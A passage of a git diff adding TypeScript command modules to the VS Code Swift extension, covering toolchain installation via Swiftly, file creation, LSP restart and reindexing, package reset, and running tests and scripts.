uninstalledToolchains = availableToolchains + .filter(toolchain => !toolchain.installed) + .filter(toolchain => toolchain.version.type === type); + + if (uninstalledToolchains.length === 0) { + ctx.logger?.debug("All available toolchains are already installed."); + void vscode.window.showInformationMessage( + "All available toolchains are already installed." + ); + return; + } + + ctx.logger.debug( + `Available toolchains for installation: ${uninstalledToolchains.map(t => t.version.name).join(", ")}` + ); + const quickPickItems = uninstalledToolchains.map(toolchain => ({ + label: `$(cloud-download) ${toolchain.version.name}`, + toolchain: toolchain, + })); + + const selectedToolchain = await vscode.window.showQuickPick(quickPickItems, { + title: "Install Swift Toolchain via Swiftly", + placeHolder: "Pick a Swift toolchain to install", + canPickMany: false, + }); + if (!selectedToolchain) { + return; + } + + const xcodes = await SwiftToolchain.findXcodeInstalls(); + const selectedDeveloperDir = await showDeveloperDirQuickPick(xcodes); + if (!selectedDeveloperDir) { + return; + } + + const target = await askWhereToSetToolchain(); + if (!target) { + return; + } + + // Install the toolchain via Swiftly + if ( + !(await installSwiftlyToolchainWithProgress( + selectedToolchain.toolchain.version.name, + ctx.extensionContext.extensionPath, + ctx.logger + )) + ) { + return; + } + + // Tell Swiftly to use the newly installed toolchain + await setToolchainPath( + { + category: "swiftly", + async onDidSelect() { + if (target === vscode.ConfigurationTarget.Workspace) { + await Promise.all( + vscode.workspace.workspaceFolders?.map(folder => + Swiftly.use(selectedToolchain.toolchain.version.name, folder.uri.fsPath) + ) ?? [] + ); + return; + } + await Swiftly.use(selectedToolchain.toolchain.version.name); + }, + }, + selectedDeveloperDir.developerDir, + target + ); +} diff --git a/src/commands/newFile.ts b/src/commands/newFile.ts new file mode 100644 index 000000000..19a97b3a6 --- /dev/null +++ b/src/commands/newFile.ts @@ -0,0 +1,55 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs/promises"; +import * as path from "path"; +import * as vscode from "vscode"; + +const extension = "swift"; +const defaultFileName = `Untitled.${extension}`; + +export async function newSwiftFile( + uri?: vscode.Uri, + isDirectory: (uri: vscode.Uri) => Promise = async uri => { + return (await vscode.workspace.fs.stat(uri)).type === vscode.FileType.Directory; + } +) { + if (uri) { + // Attempt to create the file at the given directory. + const dir = (await isDirectory(uri)) ? uri.fsPath : path.dirname(uri.fsPath); + const defaultName = vscode.Uri.file(path.join(dir, defaultFileName)); + const targetUri = await vscode.window.showSaveDialog({ + defaultUri: defaultName, + title: "Enter a file path to be created", + }); + + if (!targetUri) { + return; + } + + try { + await fs.writeFile(targetUri.fsPath, "", "utf-8"); + const document = await vscode.workspace.openTextDocument(targetUri); + await vscode.languages.setTextDocumentLanguage(document, "swift"); + await vscode.window.showTextDocument(document); + } catch (err) { + void vscode.window.showErrorMessage(`Failed to create ${targetUri.fsPath}`); + } + } else { + // If no path is supplied then open an untitled editor w/ Swift language type + const document = await vscode.workspace.openTextDocument({ + language: "swift", + }); + await vscode.window.showTextDocument(document); + } +} diff --git a/src/commands/openDocumentation.ts b/src/commands/openDocumentation.ts new file mode 100644 index 000000000..09bf1b830 --- /dev/null +++ b/src/commands/openDocumentation.ts @@ -0,0 +1,23 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +/** + * Handle the user requesting to show the vscode-swift documentation. + */ +export async function openDocumentation(): Promise { + return await vscode.env.openExternal( + vscode.Uri.parse("https://docs.swift.org/vscode/documentation/userdocs") + ); +} diff --git a/src/commands/openEducationalNote.ts b/src/commands/openEducationalNote.ts new file mode 100644 index 000000000..10543ad53 --- /dev/null +++ b/src/commands/openEducationalNote.ts @@ -0,0 +1,27 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +/** + * Handle the user requesting to show an educational note. + * + * The default behaviour is to open it in a markdown preview to the side. + */ +export async function openEducationalNote(markdownFile: vscode.Uri | undefined): Promise { + if (markdownFile?.fsPath.endsWith(".md")) { + await vscode.commands.executeCommand("markdown.showPreviewToSide", markdownFile); + } else if (markdownFile !== undefined) { + await vscode.env.openExternal(markdownFile); + } +} diff --git a/src/commands/openInExternalEditor.ts b/src/commands/openInExternalEditor.ts new file mode 100644 index 000000000..8c0479532 --- /dev/null +++ b/src/commands/openInExternalEditor.ts @@ -0,0 +1,29 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { PackageNode } from "../ui/ProjectPanelProvider"; + +/** + * Opens the supplied `PackageNode` externally using the default application. + * @param packageNode PackageNode attached to dependency tree item + */ +export function openInExternalEditor(packageNode: PackageNode) { + try { + const uri = vscode.Uri.parse(packageNode.location, true); + void vscode.env.openExternal(uri); + } catch { + // ignore error + } +} diff --git a/src/commands/openInWorkspace.ts b/src/commands/openInWorkspace.ts new file mode 100644 index 000000000..0281a9053 --- /dev/null +++ b/src/commands/openInWorkspace.ts @@ -0,0 +1,28 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { PackageNode } from "../ui/ProjectPanelProvider"; + +/** + * Open a local package in workspace + * @param packageNode PackageNode attached to dependency tree item + */ +export async function openInWorkspace(packageNode: PackageNode) { + const index = vscode.workspace.workspaceFolders?.length ?? 0; + vscode.workspace.updateWorkspaceFolders(index, 0, { + uri: vscode.Uri.file(packageNode.path), + name: packageNode.name, + }); +} diff --git a/src/commands/openPackage.ts b/src/commands/openPackage.ts new file mode 100644 index 000000000..316af8742 --- /dev/null +++ b/src/commands/openPackage.ts @@ -0,0 +1,50 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { fileExists } from "../utilities/filesystem"; +import { Version } from "../utilities/version"; + +/** + * Open Package.swift for in focus project. If there is a version specific manifest that + * matches the user's current Swift version that file is opened, otherwise opens Package.swift. + * @param workspaceContext Workspace context, required to get current project + */ +export async function openPackage(swiftVersion: Version, currentFolder: vscode.Uri) { + const packagePath = await packageSwiftFile(currentFolder, swiftVersion); + if (packagePath) { + await vscode.window.showTextDocument(packagePath); + } +} + +async function packageSwiftFile( + currentFolder: vscode.Uri, + version: Version +): Promise { + // Follow the logic outlined in the SPM documentation on version specific manifest selection + // https://github.com/swiftlang/swift-package-manager/blob/main/Documentation/Usage.md#version-specific-manifest-selection + const files = [ + `Package@swift-${version.major}.${version.minor}.${version.patch}.swift`, + `Package@swift-${version.major}.${version.minor}.swift`, + `Package@swift-${version.major}.swift`, + "Package.swift", + ].map(file => vscode.Uri.joinPath(currentFolder, file)); + + for (const file of files) { + if (await fileExists(file.fsPath)) { + return file; + } + } + return null; +} diff --git a/src/commands/pickProcess.ts b/src/commands/pickProcess.ts new file mode 100644 index 000000000..3682e9342 --- /dev/null +++ b/src/commands/pickProcess.ts @@ -0,0 +1,79 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as path from "path"; +import * as vscode from "vscode"; + +import { createProcessList } from "../process-list"; + +interface ProcessQuickPick extends vscode.QuickPickItem { + processId?: number; +} + +/** + * Prompts the user to select a running process. + * + * The return value must be a string so that it is compatible with VS Code's + * string substitution infrastructure. The value will eventually be converted + * to a number by the debug configuration provider. + * + * @param configuration The related debug configuration, if any + * @returns The pid of the process as a string or undefined if cancelled. + */ +export async function pickProcess( + configuration?: vscode.DebugConfiguration +): Promise { + const processList = createProcessList(); + const selectedProcess = await vscode.window.showQuickPick( + processList.listAllProcesses().then((processes): ProcessQuickPick[] => { + // Sort by start date in descending order + processes.sort((a, b) => b.start - a.start); + // Filter by program if requested + if (typeof configuration?.program === "string") { + const program = configuration.program; + const programBaseName = path.basename(program); + processes = processes + .filter(proc => path.basename(proc.command) === programBaseName) + .sort((a, b) => { + // Bring exact command matches to the top + const aIsExactMatch = a.command === program ? 1 : 0; + const bIsExactMatch = b.command === program ? 1 : 0; + return bIsExactMatch - aIsExactMatch; + }); + // Show a better message if all processes were filtered out + if (processes.length === 0) { + return [ + { + label: "No processes matched the debug configuration's program", + }, + ]; + } + } + // Convert to a QuickPickItem + return processes.map(proc => { + return { + processId: proc.id, + label: path.basename(proc.command), + description: proc.id.toString(), + detail: proc.arguments, + } satisfies ProcessQuickPick; + }); + }), + { + placeHolder: "Select a process to attach the debugger to", + matchOnDetail: true, + matchOnDescription: true, + } + ); + return selectedProcess?.processId?.toString(); +} diff --git a/src/commands/reindexProject.ts b/src/commands/reindexProject.ts new file mode 100644 index 000000000..4ea174bfe --- /dev/null +++ b/src/commands/reindexProject.ts @@ -0,0 +1,60 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { WorkspaceContext } from "../WorkspaceContext"; +import { ReIndexProjectRequest } from "../sourcekit-lsp/extensions"; + +/** + * Request that the SourceKit-LSP server reindexes the workspace. + */ +export async function reindexProject( + workspaceContext: WorkspaceContext +): Promise { + if (!workspaceContext.currentFolder) { + return; + } + + const languageClientManager = workspaceContext.languageClientManager.get( + workspaceContext.currentFolder + ); + return languageClientManager.useLanguageClient(async (client, token) => { + try { + await client.sendRequest(ReIndexProjectRequest.type, token); + const result = await vscode.window.showWarningMessage( + "Re-indexing a project should never be necessary and indicates a bug in SourceKit-LSP. Please file an issue describing which symbol was out-of-date and how you got into the state.", + "Report Issue", + "Close" + ); + if (result === "Report Issue") { + await vscode.commands.executeCommand( + "vscode.open", + vscode.Uri.parse( + "https://github.com/swiftlang/sourcekit-lsp/issues/new?template=BUG_REPORT.yml&title=Symbol%20Indexing%20Issue" + ) + ); + } + } catch (err) { + const error = err as { code: number; message: string }; + // methodNotFound, version of sourcekit-lsp is likely too old. + if (error.code === -32601) { + void vscode.window.showWarningMessage( + "The installed version of SourceKit-LSP does not support background indexing." + ); + } else { + void vscode.window.showWarningMessage(error.message); + } + } + }); +} diff --git a/src/commands/resetPackage.ts b/src/commands/resetPackage.ts new file mode 100644 index 000000000..1bccb02b3 --- /dev/null +++ b/src/commands/resetPackage.ts @@ -0,0 +1,95 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { WorkspaceContext } from "../WorkspaceContext"; +import { SwiftTaskProvider, createSwiftTask } from "../tasks/SwiftTaskProvider"; +import { packageName } from "../utilities/tasks"; +import { executeTaskWithUI } from "./utilities"; + +/** + * Executes a {@link vscode.Task task} to reset the complete cache/build directory. + */ +export async function resetPackage(ctx: WorkspaceContext, folder: FolderContext | undefined) { + const current = folder ?? ctx.currentFolder; + if (!current) { + return; + } + return await folderResetPackage(current); +} + +/** + * Run `swift package reset` inside a folder + * @param folderContext folder to run update inside + */ +export async function folderResetPackage(folderContext: FolderContext) { + const task = createSwiftTask( + folderContext.toolchain.buildFlags.withAdditionalFlags(["package", "reset"]), + "Reset Package Dependencies", + { + cwd: folderContext.folder, + scope: folderContext.workspaceFolder, + packageName: packageName(folderContext), + presentationOptions: { reveal: vscode.TaskRevealKind.Silent }, + group: vscode.TaskGroup.Clean, + }, + folderContext.toolchain + ); + + const languageClientManager = () => + folderContext.workspaceContext.languageClientManager.get(folderContext); + const shouldStop = process.platform === "win32"; + if (shouldStop) { + await vscode.window.withProgress( + { + title: "Stopping the SourceKit-LSP server", + location: vscode.ProgressLocation.Window, + }, + async () => await languageClientManager().stop(false) + ); + } + + return await executeTaskWithUI(task, "Reset Package", folderContext).then( + async success => { + if (!success) { + return false; + } + const resolveTask = createSwiftTask( + ["package", "resolve"], + SwiftTaskProvider.resolvePackageName, + { + cwd: folderContext.folder, + scope: folderContext.workspaceFolder, + packageName: packageName(folderContext), + presentationOptions: { reveal: vscode.TaskRevealKind.Silent }, + }, + folderContext.toolchain + ); + + const result = await executeTaskWithUI( + resolveTask, + "Resolving Dependencies", + folderContext + ); + if (shouldStop) { + await languageClientManager().restart(); + } + return result; + }, + reason => { + return reason; + } + ); +} diff --git a/src/commands/restartLSPServer.ts b/src/commands/restartLSPServer.ts new file mode 100644 index 000000000..b401e14e2 --- /dev/null +++ b/src/commands/restartLSPServer.ts @@ -0,0 +1,97 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { WorkspaceContext } from "../WorkspaceContext"; + +/** + * Restart the sourcekit-lsp server. If multiple sourcekit-lsp instances + * are running, the user will be prompted to select which one to restart. + * If only one instance is running, it will be restarted automatically. + * If no instances are running, this command will do nothing. + * @param ctx The workspace context + */ +export default async function restartLSPServer(ctx: WorkspaceContext) { + let toolchains = toolchainQuickPickItems(ctx); + if (toolchains.length === 0) { + return undefined; + } else if (toolchains.length === 1) { + // Skip picking a toolchain if there is only one option to pick + return restartLSP(ctx, toolchains[0].label); + } else { + toolchains = [ + ...toolchains, + { + label: "All", + description: "Restart all sourcekit-lsp instances", + detail: toolchains.map(tc => tc.detail).join(", "), + }, + ]; + } + + const selected = await vscode.window.showQuickPick(toolchains, { + title: "Restart LSP server", + placeHolder: "Select a sourcekit-lsp instance to restart", + canPickMany: false, + }); + + if (!selected) { + return undefined; + } + + if (selected.label === "All") { + const originalToolchains = toolchains.slice(0, -1); + for (const toolchain of originalToolchains) { + return restartLSP(ctx, toolchain.label); + } + } else { + return restartLSP(ctx, selected.label); + } +} + +/** + * Create a list of toolchain quick pick items from the workspace context + * @param ctx The workspace context + * @returns An array of quick pick items for each toolchain + */ +function toolchainQuickPickItems(ctx: WorkspaceContext): vscode.QuickPickItem[] { + const toolchainLookup = ctx.folders.reduce( + (acc, folder) => { + acc[folder.swiftVersion.toString()] = acc[folder.swiftVersion.toString()] ?? []; + acc[folder.swiftVersion.toString()].push({ + folder, + fullToolchainName: folder.toolchain.swiftVersionString, + }); + return acc; + }, + {} as Record + ); + + return Object.keys(toolchainLookup).map(key => ({ + label: key, + description: toolchainLookup[key][0].fullToolchainName, + detail: toolchainLookup[key].map(({ folder }) => folder.name).join(", "), + })); +} + +/** + * Restart the LSP server for a specific toolchain version + * @param ctx The workspace context + * @param version The toolchain version to restart + */ +async function restartLSP(ctx: WorkspaceContext, version: string) { + const languageClientManager = ctx.languageClientManager.getByVersion(version); + await languageClientManager.restart(); +} diff --git a/src/commands/runAllTests.ts b/src/commands/runAllTests.ts new file mode 100644 index 000000000..122b58015 --- /dev/null +++ b/src/commands/runAllTests.ts @@ -0,0 +1,45 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { TestKind } from "../TestExplorer/TestKind"; +import { flattenTestItemCollection } from "../TestExplorer/TestUtils"; +import { WorkspaceContext } from "../WorkspaceContext"; + +export async function runAllTests(ctx: WorkspaceContext, testKind: TestKind, target?: string) { + const testExplorer = ctx.currentFolder?.testExplorer; + if (testExplorer === undefined) { + return; + } + + const profile = testExplorer.testRunProfiles.find(profile => profile.label === testKind); + if (profile === undefined) { + return; + } + + let tests = flattenTestItemCollection(testExplorer.controller.items); + + // If a target is specified, filter the tests to only run those that match the target. + if (target) { + const targetRegex = new RegExp(`^${target}(\\.|$)`); + tests = tests.filter(test => targetRegex.test(test.id)); + } + const tokenSource = new vscode.CancellationTokenSource(); + await profile.runHandler( + new vscode.TestRunRequest(tests, undefined, profile), + tokenSource.token + ); + + await vscode.commands.executeCommand("testing.showMostRecentOutput"); +} diff --git a/src/commands/runPluginTask.ts b/src/commands/runPluginTask.ts new file mode 100644 index 000000000..cfe898904 --- /dev/null +++ b/src/commands/runPluginTask.ts @@ -0,0 +1,20 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +export async function runPluginTask() { + await vscode.commands.executeCommand("workbench.action.tasks.runTask", { + type: "swift-plugin", + }); +} diff --git a/src/commands/runSwiftScript.ts b/src/commands/runSwiftScript.ts new file mode 100644 index 000000000..541a3a80d --- /dev/null +++ b/src/commands/runSwiftScript.ts @@ -0,0 +1,116 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs/promises"; +import * as path from "path"; +import * as vscode from "vscode"; + +import configuration from "../configuration"; +import { createSwiftTask } from "../tasks/SwiftTaskProvider"; +import { TaskManager } from "../tasks/TaskManager"; +import { SwiftToolchain } from "../toolchain/toolchain"; +import { TemporaryFolder } from "../utilities/tempFolder"; + +/** + * Runs the Swift code in the supplied document. + * + * This function checks for a valid document and Swift version, then creates and executes + * a Swift task to run the script file. The task is configured to always reveal its output + * and clear previous output. The working directory is set to the script's location. + * + * @param document - The text document containing the Swift script to run. If undefined, the function returns early. + * @param tasks - The TaskManager instance used to execute and manage the Swift task. + * @param toolchain - The SwiftToolchain to use for running the script. + * @returns A promise that resolves when the script has finished running, or returns early if the user is prompted + * for which swift version to use and they exit the dialog without choosing one. + */ +export async function runSwiftScript( + document: vscode.TextDocument, + tasks: TaskManager, + toolchain: SwiftToolchain, + logger?: (data: string) => void +): Promise { + const targetVersion = await targetSwiftVersion(toolchain); + if (!targetVersion) { + return; + } + + return await withDocumentFile(document, async filename => { + const runTask = createSwiftTask( + ["-swift-version", targetVersion, filename], + `Run ${filename}`, + { + scope: vscode.TaskScope.Global, + cwd: vscode.Uri.file(path.dirname(filename)), + presentationOptions: { reveal: vscode.TaskRevealKind.Always, clear: true }, + }, + toolchain + ); + runTask.execution.onDidWrite(data => logger?.(data)); + return await tasks.executeTaskAndWait(runTask); + }); +} + +/** + * Determines the target Swift language version to use for script execution. + * If the configuration is set to "Ask Every Run", prompts the user to select a version. + * Otherwise, returns the default version from the user's settings. + * + * @returns {Promise} The selected Swift version, or undefined if no selection was made. + */ +async function targetSwiftVersion(toolchain: SwiftToolchain) { + const defaultVersion = configuration.scriptSwiftLanguageVersion(toolchain); + if (defaultVersion === "Ask Every Run") { + const picked = await vscode.window.showQuickPick( + [ + // Potentially add more versions here + { value: "5", label: "Swift 5" }, + { value: "6", label: "Swift 6" }, + ], + { + placeHolder: "Select a target Swift version", + } + ); + return picked?.value; + } else { + return defaultVersion; + } +} + +/** + * Executes a callback with the filename of the given `vscode.TextDocument`. + * If the document is untitled (not yet saved to disk), it creates a temporary file, + * writes the document's content to it, and passes its filename to the callback. + * Otherwise, it ensures the document is saved and passes its actual filename. + * + * The temporary file is automatically deleted when the callback completes. + * + * @param document - The VSCode text document to operate on. + * @param callback - An async function that receives the filename of the document or temporary file. + * @returns A promise that resolves when the callback has completed. + */ +async function withDocumentFile( + document: vscode.TextDocument, + callback: (filename: string) => Promise +): Promise { + if (document.isUntitled) { + const tmpFolder = await TemporaryFolder.create(); + return await tmpFolder.withTemporaryFile("swift", async filename => { + await fs.writeFile(filename, document.getText()); + return await callback(filename); + }); + } else { + await document.save(); + return await callback(document.fileName); + } +} diff --git a/src/commands/runTask.ts b/src/commands/runTask.ts new file mode 100644 index 000000000..e74e5bd73 --- /dev/null +++ b/src/commands/runTask.ts @@ -0,0 +1,42 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { WorkspaceContext } from "../WorkspaceContext"; +import { TaskOperation } from "../tasks/TaskQueue"; + +export const runTask = async (ctx: WorkspaceContext, name: string) => { + if (!ctx.currentFolder) { + return; + } + + const tasks = await vscode.tasks.fetchTasks(); + let task = tasks.find(task => task.name === name); + if (!task) { + const pluginTaskProvider = ctx.pluginProvider; + const pluginTasks = await pluginTaskProvider.provideTasks( + new vscode.CancellationTokenSource().token + ); + task = pluginTasks.find(task => task.name === name); + } + + if (!task) { + void vscode.window.showErrorMessage(`Task "${name}" not found`); + return; + } + + return ctx.currentFolder.taskQueue + .queueOperation(new TaskOperation(task)) + .then(result => result === 0); +}; diff --git a/src/commands/runTest.ts b/src/commands/runTest.ts new file mode 100644 index 000000000..2521c57f3 --- /dev/null +++ b/src/commands/runTest.ts @@ -0,0 +1,37 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { TestKind } from "../TestExplorer/TestKind"; +import { WorkspaceContext } from "../WorkspaceContext"; + +export async function runTest(ctx: WorkspaceContext, testKind: TestKind, test: vscode.TestItem) { + const testExplorer = ctx.currentFolder?.testExplorer; + if (testExplorer === undefined) { + return; + } + + const profile = testExplorer.testRunProfiles.find(profile => profile.label === testKind); + if (profile === undefined) { + return; + } + + const tokenSource = new vscode.CancellationTokenSource(); + await profile.runHandler( + new vscode.TestRunRequest([test], undefined, profile), + tokenSource.token + ); + + await vscode.commands.executeCommand("testing.showMostRecentOutput"); +} diff --git a/src/commands/switchPlatform.ts b/src/commands/switchPlatform.ts new file mode 100644 index 000000000..da067832c --- /dev/null +++ b/src/commands/switchPlatform.ts @@ -0,0 +1,67 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { WorkspaceContext } from "../WorkspaceContext"; +import configuration from "../configuration"; +import { + DarwinCompatibleTarget, + SwiftToolchain, + getDarwinTargetTriple, +} from "../toolchain/toolchain"; + +/** + * Switches the appropriate SDK setting to the platform selected in a QuickPick UI. + */ +export async function switchPlatform(ctx: WorkspaceContext) { + const picked = await vscode.window.showQuickPick( + [ + { value: undefined, label: "macOS" }, + { value: DarwinCompatibleTarget.iOS, label: "iOS" }, + { value: DarwinCompatibleTarget.tvOS, label: "tvOS" }, + { value: DarwinCompatibleTarget.watchOS, label: "watchOS" }, + { value: DarwinCompatibleTarget.visionOS, label: "visionOS" }, + ], + { + placeHolder: "Select a new target platform", + } + ); + if (picked) { + // show a status item as getSDKForTarget can sometimes take a long while to run xcrun to find the SDK + const statusItemText = `Setting target platform to ${picked.label}`; + ctx.statusItem.start(statusItemText); + try { + if (picked.value) { + // verify that the SDK for the platform actually exists + await SwiftToolchain.getSDKForTarget(picked.value); + } + const swiftSDKTriple = picked.value ? getDarwinTargetTriple(picked.value) : ""; + if (swiftSDKTriple !== "") { + // set a swiftSDK for non-macOS Darwin platforms so that SourceKit-LSP can provide syntax highlighting + configuration.swiftSDK = swiftSDKTriple; + void vscode.window.showWarningMessage( + `Selecting the ${picked.label} target platform will provide code editing support, but compiling with a ${picked.label} SDK will have undefined results.` + ); + } else { + // set swiftSDK to an empty string for macOS and other platforms + configuration.swiftSDK = ""; + } + } catch { + void vscode.window.showErrorMessage( + `Unable set the Swift SDK setting to ${picked.label}, verify that the SDK exists` + ); + } + ctx.statusItem.end(statusItemText); + } +} diff --git a/src/commands/testMultipleTimes.ts b/src/commands/testMultipleTimes.ts new file mode 100644 index 000000000..b0b8f18f8 --- /dev/null +++ b/src/commands/testMultipleTimes.ts @@ -0,0 +1,153 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { TestKind, isDebugging } from "../TestExplorer/TestKind"; +import { TestRunState, TestRunner, TestRunnerTestRunState } from "../TestExplorer/TestRunner"; +import { colorize } from "../utilities/utilities"; + +/** + * Runs the supplied TestItem a number of times. The user is prompted with a dialog + * to pick how many times they want the test to run. + * @param ctx The workspace context, used to get the Test Explorer + * @param test The test to run multiple times + * @param untilFailure If `true` stop running the test if it fails + */ +export async function runTestMultipleTimes( + currentFolder: FolderContext, + tests: vscode.TestItem[], + untilFailure: boolean, + kind: TestKind, + count: number | undefined = undefined, + testRunner?: () => Promise +) { + let numExecutions = count; + if (numExecutions === undefined) { + const str = await vscode.window.showInputBox({ + placeHolder: `${untilFailure ? "Maximum " : ""}# of times to run`, + validateInput: value => + /^[1-9]\d*$/.test(value) ? undefined : "Enter an integer value", + }); + if (!str) { + return; + } + numExecutions = parseInt(str); + } + + if (!currentFolder.testExplorer) { + return; + } + const token = new vscode.CancellationTokenSource(); + const testExplorer = currentFolder.testExplorer; + const request = new vscode.TestRunRequest(tests); + const runner = new TestRunner( + kind, + request, + currentFolder, + testExplorer.controller, + token.token + ); + + // If the user terminates a debugging session we want + // to cancel the remaining iterations. + const terminationListener = runner.onDebugSessionTerminated(() => token.cancel()); + + testExplorer.onDidCreateTestRunEmitter.fire(runner.testRun); + + const testRunState = new TestRunnerTestRunState(runner.testRun); + + await vscode.commands.executeCommand("workbench.panel.testResults.view.focus"); + + const runStates: TestRunState[] = []; + for (let i = 0; i < numExecutions; i++) { + runner.setIteration(i); + runner.testRun.appendOutput( + colorize(`Beginning Test Iteration #${i + 1}`, "cyan") + "\n\r" + ); + + let runState: TestRunState; + if (testRunner !== undefined) { + runState = await testRunner(); + } else if (isDebugging(kind)) { + runState = await runner.debugSession(testRunState, i === 0); + } else { + runState = await runner.runSession(testRunState); + } + + runStates.push(runState); + + if ( + runner.testRun.isCancellationRequested || + (untilFailure && (runState.failed.length > 0 || runState.errored.length > 0)) + ) { + break; + } + } + await runner.testRun.end(); + terminationListener.dispose(); + + return runStates; +} + +/** + * Extracts an array of vscode.TestItem and count from the provided varargs. Effectively, this + * converts a varargs function from accepting both numbers and test items to: + * + * function (...testItems: vscode.TestItem[], count?: number): void; + * + * The VS Code testing view sends test items via varargs, but we have a couple testing commands that + * also accept a final count parameter. We have to find the count parameter ourselves since JavaScript + * only supports varargs at the end of an argument 